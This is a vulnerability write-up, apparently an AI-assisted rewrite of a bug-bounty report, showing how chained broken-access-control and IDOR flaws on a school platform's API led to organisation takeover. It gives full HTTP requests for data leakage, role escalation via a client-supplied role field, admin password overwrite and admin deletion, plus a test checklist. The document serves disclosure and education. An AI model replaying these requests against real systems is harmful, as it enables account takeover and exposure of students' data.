Skip to content
Access control Write-up Intermediate

Taking Over an Entire Organization - A Journey Through Multiple Bugs

A low-privilege user could access an admin endpoint to leak user data, create manager accounts, then escalate to admin and modify any admin's credentials, leading to full organizational takeover.

hacktus Follow

Published on hacktus.tech

Today, I want to share a thrilling adventure, a tale of how a few seemingly harmless bugs can snowball into a security nightmare. Through collaborative work with my friend DreyAnd back in April 2023, we managed to expose vulnerabilities that eventually led to a total organizational takeover.

Hacktus, on hacktus.tech

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

In April 2023, working with my friend DreyAnd, I tested a school management platform. The product lets teachers and managers control classes, students, examinations and other resources, and it had a substantial user base of students. The API sat behind Microsoft IIS and ASP.NET, and the application used organisation-scoped paths such as /v1/<organization>/... and /v1/admin/<organization>/..., with accounts carrying roles such as Administrator and Manager.

Taking Over an Entire Organization - A Journey Through Multiple Bugs
Taking Over an Entire Organization - A Journey Through Multiple Bugs From the original on hacktus.tech

The goal of the engagement was not a single bug but a chain: start from a low-privilege account, leak the identifiers of the user base, escalate through the role model, and end up in control of the whole organisation.

Setup

The testing started from a low-privilege user account. Requests were authenticated with HTTP Basic credentials for that account, and the API answered in JSON. No special tooling is described beyond sending crafted HTTP requests to the API host.

Finding it

The first thing we needed was a way to leak all the data and UUIDs of the numerous students. The first bug turned up in the place where most people would feel most secure: the admin endpoint. The endpoint itself was inaccessible to us, but underneath it there was a Broken Access Control mechanism. It should have been locked behind administrative privileges, yet a properly formatted backend request let us leak a large amount of user data, covering students, teachers and even admins.

That was the first red flag: despite being a low-privilege account, we could fetch every UUID we needed for an attack.

Next we noticed something odd about account creation. Low-privilege accounts could not create admin accounts, but they could create manager accounts. That gave us a vertical privilege escalation.

That was the second clue that things were not quite right. From there we asked the obvious question: if a low-privilege account can become a manager, what stops it from becoming an admin? Two further bugs answered that.

Exploitation

Step 1: Leak every user through the admin endpoint

A GET request to the admin users endpoint, sent with the credentials of the low-privilege user, returned the full user listing:

HTTP
GET /v1/admin/<organization>/customers/getUsers?=* HTTP/2
Host: api.redacted.com
Accept: */*
Content-Type: application/json
Authorization: Basic <low permission user auth>

The response was a 200 OK carrying an array of user objects:

HTTP
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET

[
  {
    "account_id": "<userid>",
    "avatar_url": "https://api.redacted.com/v2/avatar/?id=1234567",
    "first_name": "Hacker ",
    "last_name": "Admin1",
    "title": "",
    "role": "Administrator",
    "devices": [],
    "email": "[redacted]",
    "username": "hackeradmin1337",
    "external_person_key": "1234567",
    "end_date": "2027-07-25T00:00:00",
      "last_session": {
        "broadcast_id": "1234-1234-1234-1234-1234ge321",
        "account_id": "<userid>",
        "created": "2027-02-27T17:56:27.4194925",
        "completed": "2027-02-27T17:57:34.0976831",
        "satellite_server_id": 123456,
        "IP": "<IP>",
        "roster_id": 12345,
        "customer_id": "<userid>",
      },
      "created_by": "<creatorid>",
      "roster_id": 54321,
      "name": "creator"
    },
    "schools": [
      {
        "school_id": "<ID>",
        "school_code": "<CODE>",
        "name": "school"
      }
  ]

The fields returned included usernames, user IDs, email addresses, hostnames, IP addresses and account expiration dates. The ?=* query string is what the request used, and the response handed us the UUIDs we needed for the attack.

Step 2: Create a manager account from a low-privilege account

With the identifiers in hand, we sent a user creation request as the low-privilege user, setting the role to Manager:

HTTP
POST /v1/<organization>/users HTTP/2
Host: api.redacted.com
Accept: */*
Content-Type: application/json
Authorization: Basic <low permission user auth>
Origin: https://www.redacted.com

{
  "first_name": "drey",
  "last_name": "ahnd",
  "username": "DreyAnd",
  "external_person_key": "",
  "email": "[redacted]",
  "role": "Manager",
  "schools": [
    "<ID>"
  ],
  "password": "Password",
}

The API accepted it and returned the new account identifier:

HTTP
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 22
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET

{"account_id":<ManagerID>}

The important part is the role field in the body: the caller supplied it directly, and the server honoured it even though the caller was not allowed to create admins. The schools array scopes the new account to a school we already knew about.

Step 3: Create an administrator from the manager account

We then repeated the same technique with the manager credentials, this time asking for the Administrator role:

HTTP
POST /v1/<organization>/users HTTP/2
Host: api.redacted.com
Accept: */*
Content-Type: application/json
Authorization: Basic <manager auth>
Origin: https://www.redacted.com

{
  "first_name": "Hacker",
  "last_name": "Admin",
  "username": "hacktus",
  "external_person_key": "",
  "email": "[redacted]",
  "role": "Administrator",
  "schools": [
    "<ID>"
  ],
  "password": "Password",
}

Again the server returned 200 OK with the new identifier:

HTTP
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 22
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET

{"account_id":<AdminID>}

This was the privilege escalation that let us modify our own permissions, the same technique used from the low-privilege account, and upgrade ourselves to admin.

Step 4: Take over an existing admin through IDOR

The second escalation bug was an Insecure Direct Object Reference that let us modify the data of any existing admin account, specifically the email and password. With that, we could take over any admin account within the organisation:

HTTP
PUT /v1/<organization>/users/<adminid> HTTP/2
Host: api.redacted.com
Content-Length: 339
Accept: */*
Content-Type: application/json
Authorization: Basic <admin auth>

[
    {
        "first_name": "tookover",
        "last_name": "by manager",
        "username": "admin",
        "external_person_key": "",
        "email": "[redacted]",
        "role": "Administrator",
        "schools": [
            "<ID>"
        ],
        "password": "NewPassword",
    }
]

The target is chosen purely by the <adminid> in the path, and the body replaces the account's email and password. With these bugs we had effectively breached the heart of the administrative sphere.

Step 5: Remove the other admins

What came next we did not initially foresee. Using the admin access we had just secured, we could delete all the other admin accounts, including the ones we had created earlier, taking over the entire organisation if we wanted to:

HTTP
DELETE /v1/<organization>/users/<userid> HTTP/2
Host: api.redacted.com
Accept: */*
Content-Type: application/json
Authorization: Basic <admin auth>

The account to remove is selected by the <userid> in the path, and the request is authorised with admin credentials.

Root cause

The chain rests on the server trusting client-supplied values. The admin listing endpoint was reachable with a low-privilege Basic credential, so the access check on the admin path was missing or ineffective. The user creation endpoint accepted the role field from the request body, so a low-privilege user could create a manager and a manager could create an administrator, instead of the server deriving the permitted role from the caller's own privileges. The update endpoint keyed on the account identifier in the path without checking that the caller was allowed to modify that particular account, which is the IDOR that allowed rewriting an existing admin's email and password. The delete endpoint then completed the takeover once admin credentials were held. The report does not describe the server-side code, so the exact implementation of these checks is not stated; the pattern is consistent with authorisation enforced in the client or only on some routes, and with role assignment taken from user input.

Impact

Starting from a single low-privilege account, the chain exposed the data of students, teachers and admins, including usernames, user IDs, email addresses, hostnames, IP addresses and account expiration dates. It then allowed vertical privilege escalation to manager and to administrator, takeover of any existing admin account by changing its email and password, and finally deletion of all other admin accounts. The organisation's integrity was at risk because of the snowballing effect of several vulnerabilities that, individually, may not have appeared as critical threats. The report does not state a bounty or a severity rating.

Fix

Based on the bugs shown, the fixes would be: enforce the administrative privilege check on every /v1/admin/... route on the server, ignore any client-supplied role when creating users and derive the allowed role from the caller's own permissions, and verify on update and delete that the caller is authorised for the specific account identified in the path rather than trusting the identifier alone.

Variants to test

  1. Send a GET to an admin-scoped listing route with a low-privilege credential and a wildcard-style query such as ?=*. A positive result is a 200 with user objects containing identifiers and roles you should not see.
  2. Submit a user creation request with "role": "Manager" or "role": "Administrator" from an account that should not be allowed to create that role. A positive result is a 200 with a new account_id.
  3. Send a PUT to a user path containing another account's identifier, with a new email and password in the body. A positive result is a 200 and the ability to authenticate as the target.
  4. Send a DELETE to a user path containing another account's identifier using elevated credentials. A positive result is the removal of an account you do not own.
  5. Repeat the role field test on any endpoint that accepts a role, including self-update routes, to see whether a user can raise their own privileges.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

In April 2023, I worked with my friend DreyAnd on a school management platform. The platform is a website and app that lets teachers and managers run classes, students, examinations and other resources, and it had a large number of student users.

We started with an ordinary, low-privilege account, the kind a normal user would have. Over a few steps we found that the platform trusted things it should not have trusted, and we chained those small mistakes together. By the end we could read the data of every student, teacher and admin, create accounts with higher roles than we were allowed to have, take over existing admin accounts, and delete other admins. In other words, we could have taken over the whole organisation.

This article walks through each step in the same order we did it, explains what each request means, and shows why each one worked.

Taking Over an Entire Organization - A Journey Through Multiple Bugs
Taking Over an Entire Organization - A Journey Through Multiple Bugs From the original on hacktus.tech

A few ideas you need first

Before the steps, here are the basic concepts, explained from zero.

  • Website versus API. A website is what you see in the browser: pages, buttons, forms. An API (Application Programming Interface) is the machine-facing part behind it. When you click a button, your browser quietly sends a request to the API, and the API answers with data, usually in a format called JSON. Think of a restaurant: the menu and the dining room are the website, the kitchen is the API, and the waiter carries orders back and forth. In this story we mostly talk to the kitchen directly.
  • HTTP request. The language browsers and APIs speak. Each request has a method (what you want to do), a path (which thing you want), headers (extra information) and sometimes a body (data you send). The methods you will see are GET (read something), POST (create something), PUT (replace or update something) and DELETE (remove something).
  • URL path. The part of the address after the domain, such as /v1/<organization>/users. The <organization> part is a placeholder for the organisation's identifier. The /v1/ part is a version number the API uses.
  • JSON. A simple text format for structured data, built from curly braces {} for objects and square brackets [] for lists. It looks like {"name": "value"}. APIs use it to send and receive data.
  • Authentication versus authorisation. Authentication is proving who you are, like showing your ID at the door. Authorisation is what you are allowed to do once inside, like which rooms your key opens. Most of the bugs here are authorisation bugs: the platform knew who we were, but did not properly check what we were allowed to do.
  • HTTP Basic authentication. A very simple way to authenticate: the username and password are joined and encoded, then sent in an Authorization: Basic ... header on every request. It is like showing the same ID badge at every door. In the examples below, the placeholder <low permission user auth> stands for that encoded credential.
  • Role. A label attached to an account that says what it can do. This platform used roles such as Administrator and Manager, plus ordinary low-privilege users.
  • UUID. A long, unique identifier for a thing, such as an account. It is like a serial number: if you know someone's serial number, you can refer to their record directly. Many of the attacks below needed UUIDs, which is why the first step was to leak them.
  • Broken Access Control. A vulnerability where the server does not properly check whether the person making a request is allowed to make it. It is like a hotel where the reception desk checks your key at the front door but every room door is unlocked.
  • Privilege escalation. Gaining more permissions than you were given. Vertical escalation means moving to a higher role, for example from ordinary user to manager to administrator. Horizontal escalation means reaching another account at the same level.
  • IDOR (Insecure Direct Object Reference). A specific kind of access control bug where the server picks which record to act on purely from an identifier you supply, such as an ID in the URL, without checking that the record belongs to you or that you are allowed to touch it. It is like a cloakroom that hands out any coat to anyone who reads the ticket number aloud.
  • Server software. The responses show Server: Microsoft-IIS/10.0 and X-Powered-By: ASP.NET, which tell you the site runs on Microsoft's web server and application framework. This is background information; it is not itself a vulnerability.

The goal

We were not hunting for one single bug. We wanted a chain: start from a low-privilege account, leak the identifiers of the user base, climb the role model, and end up in control of the whole organisation. Chains matter because each small bug can unlock the next one, and the combined result can be far worse than any single bug on its own.

Setup

We started with a low-privilege user account. Every request was authenticated with HTTP Basic credentials for that account, and the API answered in JSON. The report does not describe any special tooling beyond sending crafted HTTP requests to the API host.

Finding it

The first thing we needed was a way to leak all the data and UUIDs of the many students. Without identifiers, we could not point at anyone's record.

The first bug turned up in the place where most people would feel most secure: the admin endpoint. The endpoint itself was inaccessible to us, but underneath it there was a Broken Access Control mechanism. It should have been locked behind administrative privileges, yet a properly formatted backend request let us leak a large amount of user data, covering students, teachers and even admins.

That was the first red flag: despite being a low-privilege account, we could fetch every UUID we needed for an attack.

Next we noticed something odd about account creation. Low-privilege accounts could not create admin accounts, but they could create manager accounts. That gave us a vertical privilege escalation.

That was the second clue that things were not quite right. From there we asked the obvious question: if a low-privilege account can become a manager, what stops it from becoming an admin? Two further bugs answered that.

Exploitation

Step 1: Leak every user through the admin endpoint

We sent a GET request to the admin users endpoint using the credentials of the low-privilege user. The idea was simple: the path says admin, so the server should refuse us, but we wanted to see whether the check was actually there.

HTTP
GET /v1/admin/<organization>/customers/getUsers?=* HTTP/2
Host: api.redacted.com
Accept: */*
Content-Type: application/json
Authorization: Basic <low permission user auth>

Line by line:

  1. GET /v1/admin/<organization>/customers/getUsers?=* HTTP/2 is the request line. GET means read. The path points at the admin section of the API for a specific organisation, at a route called getUsers, which sounds like it returns the user list. The ?=* part is a query string, shown exactly as used. HTTP/2 is the version of the protocol.
  2. Host: api.redacted.com says which server we are talking to. The real hostname is hidden here.
  3. Accept: */* says we will accept any response format.
  4. Content-Type: application/json says the body, if any, is JSON. There is no body in a GET, but the header was sent anyway.
  5. Authorization: Basic <low permission user auth> is the credential of the ordinary account. This is the key point: an ordinary user's credential is being sent to an admin route.

The server answered 200 OK, which means success, with a list of user objects:

HTTP
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET

[
  {
    "account_id": "<userid>",
    "avatar_url": "https://api.redacted.com/v2/avatar/?id=1234567",
    "first_name": "Hacker ",
    "last_name": "Admin1",
    "title": "",
    "role": "Administrator",
    "devices": [],
    "email": "[redacted]",
    "username": "hackeradmin1337",
    "external_person_key": "1234567",
    "end_date": "2027-07-25T00:00:00",
      "last_session": {
        "broadcast_id": "1234-1234-1234-1234-1234ge321",
        "account_id": "<userid>",
        "created": "2027-02-27T17:56:27.4194925",
        "completed": "2027-02-27T17:57:34.0976831",
        "satellite_server_id": 123456,
        "IP": "<IP>",
        "roster_id": 12345,
        "customer_id": "<userid>",
      },
      "created_by": "<creatorid>",
      "roster_id": 54321,
      "name": "creator"
    },
    "schools": [
      {
        "school_id": "<ID>",
        "school_code": "<CODE>",
        "name": "school"
      }
  ]

What this response tells us:

  1. The status line HTTP/2 200 OK confirms the request succeeded. The headers below it are normal server metadata: the content type, caching instructions, and the server software (Microsoft-IIS/10.0, ASP.NET).
  2. The body is a JSON list (the outer [ and ]), and each entry is one user object.
  3. account_id is the user's unique identifier, the UUID we were after. username, email, first_name and last_name are personal details.
  4. role shows the account's permission level. Here it is Administrator, which proves the listing mixed administrators in with students and teachers.
  5. end_date is when the account expires. external_person_key is another identifier the platform uses.
  6. schools lists which schools the account belongs to, with school_id, school_code and name.

The fields returned included usernames, user IDs, email addresses, hostnames, IP addresses and account expiration dates. The role field shows that the listing mixed in administrators alongside students and teachers, and the last_session block exposed session metadata such as the IP and the satellite server. The ?=* query string is what the request used, and the response handed us the UUIDs we needed for the attack.

Step 2: Create a manager account from a low-privilege account

With the identifiers in hand, we sent a user creation request as the low-privilege user, setting the role to Manager. The question behind this step was: does the server decide the role, or does it believe whatever role we put in the request?

HTTP
POST /v1/<organization>/users HTTP/2
Host: api.redacted.com
Accept: */*
Content-Type: application/json
Authorization: Basic <low permission user auth>
Origin: https://www.redacted.com

{
  "first_name": "drey",
  "last_name": "ahnd",
  "username": "DreyAnd",
  "external_person_key": "",
  "email": "[redacted]",
  "role": "Manager",
  "schools": [
    "<ID>"
  ],
  "password": "Password",
}

Line by line:

  1. POST /v1/<organization>/users means create a new user inside this organisation. POST is the method used for creating things.
  2. Host, Accept and Content-Type are the same as before.
  3. Authorization: Basic <low permission user auth> again uses the ordinary account's credential. This is the account that should not be able to create managers.
  4. Origin: https://www.redacted.com tells the server which website the request came from. Browsers add this automatically; here it is part of the crafted request.
  5. The body is the new user's details: first name, last name, username, an empty external_person_key, an email, a password, and the schools list containing a school identifier we already knew.
  6. The critical line is "role": "Manager". We chose the role ourselves and put it in the request. If the server simply copies this value into the new account, we have escalated.

The API accepted it and returned the new account identifier:

HTTP
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 22
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET

{"account_id":<ManagerID>}
  1. 200 OK means the account was created.
  2. The body is a small JSON object containing account_id, the identifier of the new manager account. Content-Length: 22 is just the size of that short body.

The important part is the role field in the body: the caller supplied it directly, and the server honoured it even though the caller was not allowed to create admins. The schools array scopes the new account to a school we already knew about.

Step 3: Create an administrator from the manager account

We then repeated the same technique with the manager credentials, this time asking for the Administrator role. The logic: if the server believed us once, it will probably believe us again, one level higher.

HTTP
POST /v1/<organization>/users HTTP/2
Host: api.redacted.com
Accept: */*
Content-Type: application/json
Authorization: Basic <manager auth>
Origin: https://www.redacted.com

{
  "first_name": "Hacker",
  "last_name": "Admin",
  "username": "hacktus",
  "external_person_key": "",
  "email": "[redacted]",
  "role": "Administrator",
  "schools": [
    "<ID>"
  ],
  "password": "Password",
}
  1. The request is almost identical to the previous one. The difference is Authorization: Basic <manager auth>, the credential of the manager account we just created, and "role": "Administrator" in the body.
  2. Everything else, the path, the headers, the school identifier and the password, follows the same pattern.

Again the server returned 200 OK with the new identifier:

HTTP
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 22
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET

{"account_id":<AdminID>}
  1. 200 OK and a new account_id mean an administrator account now exists, created by us.
  2. We went from ordinary user to manager to administrator in two requests, because the server took the role from our input instead of deciding it from our own permissions.

This was the privilege escalation that let us modify our own permissions, the same technique used from the low-privilege account, and upgrade ourselves to admin.

Step 4: Take over an existing admin through IDOR

The second escalation bug was an Insecure Direct Object Reference that let us modify the data of any existing admin account, specifically the email and password. With that, we could take over any admin account within the organisation. The idea: the URL contains an account identifier, and if the server uses it without checking that the account is ours, we can point it at someone else's admin account and change their login details.

HTTP
PUT /v1/<organization>/users/<adminid> HTTP/2
Host: api.redacted.com
Content-Length: 339
Accept: */*
Content-Type: application/json
Authorization: Basic <admin auth>

[
    {
        "first_name": "tookover",
        "last_name": "by manager",
        "username": "admin",
        "external_person_key": "",
        "email": "[redacted]",
        "role": "Administrator",
        "schools": [
            "<ID>"
        ],
        "password": "NewPassword",
    }
]

Line by line:

  1. PUT /v1/<organization>/users/<adminid> means replace or update the user whose identifier is <adminid>. PUT is the update method. The identifier in the path is the target: here, an existing admin account that is not ours.
  2. Content-Length: 339 is the size of the body in bytes.
  3. Authorization: Basic <admin auth> uses the admin credential we obtained in the previous step. The report shows this request authorised with admin credentials.
  4. The body is a JSON list containing one object. It sets new values for the account: first_name and last_name are tookover and by manager; username is admin; email is changed to [redacted]; role stays Administrator; schools keeps the known school identifier; and password is set to NewPassword.
  5. Changing the email and password is the takeover: whoever controls the email and password controls the login. The target is chosen purely by the <adminid> in the path, and the body replaces the account's email and password.

With these bugs we had effectively breached the heart of the administrative sphere.

Step 5: Remove the other admins

What came next we did not initially foresee. Using the admin access we had just secured, we could delete all the other admin accounts, including the ones we had created earlier, taking over the entire organisation if we wanted to:

HTTP
DELETE /v1/<organization>/users/<userid> HTTP/2
Host: api.redacted.com
Accept: */*
Content-Type: application/json
Authorization: Basic <admin auth>
  1. DELETE /v1/<organization>/users/<userid> means remove the user whose identifier is <userid>. DELETE is the removal method.
  2. The account to remove is selected by the <userid> in the path, and the request is authorised with admin credentials.
  3. If the server lets an admin delete other admins, then an attacker who holds admin credentials can clear out everyone else and be the only one left in control.

Why it worked

The chain rests on the server trusting client-supplied values.

  1. The admin listing endpoint was reachable with a low-privilege Basic credential, so the access check on the admin path was missing or ineffective.
  2. The user creation endpoint accepted the role field from the request body, so a low-privilege user could create a manager and a manager could create an administrator, instead of the server deriving the permitted role from the caller's own privileges.
  3. The update endpoint keyed on the account identifier in the path without checking that the caller was allowed to modify that particular account, which is the IDOR that allowed rewriting an existing admin's email and password.
  4. The delete endpoint then completed the takeover once admin credentials were held.

The report does not describe the server-side code, so the exact implementation of these checks is not stated; the pattern is consistent with authorisation enforced in the client or only on some routes, and with role assignment taken from user input.

Impact

Starting from a single low-privilege account, the chain exposed the data of students, teachers and admins, including usernames, user IDs, email addresses, hostnames, IP addresses and account expiration dates. It then allowed vertical privilege escalation to manager and to administrator, takeover of any existing admin account by changing its email and password, and finally deletion of all other admin accounts. The organisation's integrity was at risk because of the snowballing effect of several vulnerabilities that, individually, may not have appeared as critical threats.

Fix

Based on the bugs shown, the fixes would be:

  1. Enforce the administrative privilege check on every /v1/admin/... route on the server.
  2. Ignore any client-supplied role when creating users, and derive the allowed role from the caller's own permissions.
  3. Verify on update and delete that the caller is authorised for the specific account identified in the path, rather than trusting the identifier alone.

Variants to test

If you are testing a similar platform, these are the same ideas in a form you can try:

  1. Send a GET to an admin-scoped listing route with a low-privilege credential and a wildcard-style query such as ?=*. A positive result is a 200 with user objects containing identifiers and roles you should not see.
  2. Submit a user creation request with "role": "Manager" or "role": "Administrator" from an account that should not be allowed to create that role. A positive result is a 200 with a new account_id.
  3. Send a PUT to a user path containing another account's identifier, with a new email and password in the body. A positive result is a 200 and the ability to authenticate as the target.
  4. Send a DELETE to a user path containing another account's identifier using elevated credentials. A positive result is the removal of an account you do not own.
  5. Repeat the role field test on any endpoint that accepts a role, including self-update routes, to see whether a user can raise their own privileges.

Glossary

  • API: the machine-facing part of a service that receives requests and returns data, usually in JSON.
  • Authentication: proving who you are, for example with a username and password.
  • Authorisation: what an authenticated user is allowed to do.
  • Broken Access Control: a vulnerability where the server does not properly check whether a request is allowed.
  • Cookie: a small piece of data a browser stores for a site, often used to keep you logged in. Not used in the requests shown here, but common in web authentication.
  • DELETE: the HTTP method for removing something.
  • GET: the HTTP method for reading something.
  • Header: extra information sent with an HTTP request or response, such as Authorization or Content-Type.
  • HTTP Basic authentication: a simple authentication scheme where the username and password are encoded and sent in an Authorization: Basic ... header.
  • HTTP/2: a version of the HTTP protocol used between browsers and servers.
  • IDOR (Insecure Direct Object Reference): an access control bug where the server acts on a record chosen purely by an identifier supplied by the caller, without checking permission.
  • IIS: Microsoft's web server software, shown in the responses as Microsoft-IIS/10.0.
  • JSON: a text format for structured data using objects {} and lists [].
  • Method: the part of an HTTP request that says what to do, such as GET, POST, PUT or DELETE.
  • Origin: an HTTP header that says which website a request came from.
  • Path: the part of a URL after the domain, such as /v1/<organization>/users.
  • POST: the HTTP method for creating something.
  • Privilege escalation: gaining more permissions than you were given; vertical means a higher role, horizontal means another account at the same level.
  • PUT: the HTTP method for replacing or updating something.
  • Query string: the part of a URL after ?, used to pass extra parameters.
  • Role: a label on an account that determines what it can do, such as Administrator or Manager.
  • Token: a piece of data used to prove identity or permission, often stored in a cookie or sent in a header. Not shown in the requests here.
  • UUID: a long, unique identifier for a record, such as an account.
  • Wildcard: a symbol such as * meaning "anything" or "everything".

More by hacktus

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.